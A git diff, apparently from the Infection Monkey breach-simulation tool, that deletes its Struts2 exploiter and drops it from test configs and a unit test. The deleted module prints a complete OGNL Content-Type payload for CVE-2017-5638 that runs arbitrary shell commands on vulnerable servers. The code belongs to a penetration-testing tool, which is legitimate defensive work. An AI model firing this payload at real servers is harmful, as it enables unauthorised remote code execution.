diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py deleted file mode 100644 index c576a5fbd..000000000 --- a/monkey/infection_monkey/exploit/struts2.py +++ /dev/null @@ -1,90 +0,0 @@ -""" - Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) - code used is from https://www.exploit-db.com/exploits/41570/ - Vulnerable struts2 versions <=2.3.31 and <=2.5.10 -""" -import http.client -import logging -import re -import ssl -import urllib.error -import urllib.parse -import urllib.request -from typing import List, Tuple - -from infection_monkey.exploit.web_rce import WebRCE - -logger = logging.getLogger(__name__) - -DOWNLOAD_TIMEOUT = 300 - - -class Struts2Exploiter(WebRCE): - _EXPLOITED_SERVICE = "Struts2" - - def __init__(self, host): - super(Struts2Exploiter, self).__init__(host, None) - - def get_exploit_config(self): - exploit_config = super(Struts2Exploiter, self).get_exploit_config() - exploit_config["dropper"] = True - return exploit_config - - @staticmethod - def build_potential_urls(ip: str, ports: List[Tuple[str, bool]], extensions=None) -> List[str]: - url_list = WebRCE.build_potential_urls(ip, ports) - url_list = [Struts2Exploiter.get_redirected(url) for url in url_list] - return url_list - - @staticmethod - def get_redirected(url): - # Returns false if url is not right - headers = {"User-Agent": "Mozilla/5.0"} - request = urllib.request.Request(url, headers=headers) - try: - return urllib.request.urlopen( - request, context=ssl._create_unverified_context() # noqa: DUO122 - ).geturl() - except urllib.error.URLError: - logger.error("Can't reach struts2 server") - return False - - def exploit(self, url, cmd): - """ - :param url: Full url to send request to - :param cmd: Code to try and execute on host - :return: response - """ - cmd = re.sub(r"\\", r"\\\\", cmd) - cmd = re.sub(r"'", r"\\'", cmd) - payload = ( - "%%{(#_='multipart/form-data')." - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - "(#_memberAccess?" - "(#_memberAccess=#dm):" - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - "(#ognlUtil.getExcludedPackageNames().clear())." - "(#ognlUtil.getExcludedClasses().clear())." - "(#context.setMemberAccess(#dm))))." - "(#cmd='%s')." - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - "(#p=new java.lang.ProcessBuilder(#cmds))." - "(#p.redirectErrorStream(true)).(#process=#p.start())." - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - "(#ros.flush())}" % cmd - ) - headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} - try: - request = urllib.request.Request(url, headers=headers) - # Timeout added or else we would wait for all monkeys' output - page = urllib.request.urlopen(request).read() - except AttributeError: - # If url does not exist - return False - except http.client.IncompleteRead as e: - page = e.partial.decode() - - return page diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index e4712defe..db8c43295 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -57,7 +57,6 @@ {"name": "DrupalExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ShellShockExploiter", "supported_os": ["linux"], "options": {}}, - {"name": "Struts2Exploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "WebLogicExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}} ] diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index b9dae9453..dd0b27a09 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -49,7 +49,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "Struts2Exploiter", "ZerologonExploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index f0c95e5b3..4dda5f312 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index b49007eb0..b8b7ff1c3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -202,7 +202,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): {"name": "DrupalExploiter", "supported_os": [], "options": {}}, {"name": "HadoopExploiter", "supported_os": ["linux", "windows"], "options": {}}, {"name": "Log4ShellExploiter", "supported_os": ["linux", "windows"], "options": {}}, - {"name": "Struts2Exploiter", "supported_os": [], "options": {}}, {"name": "WebLogicExploiter", "supported_os": [], "options": {}}, {"name": "ZerologonExploiter", "supported_os": ["windows"], "options": {}}, ],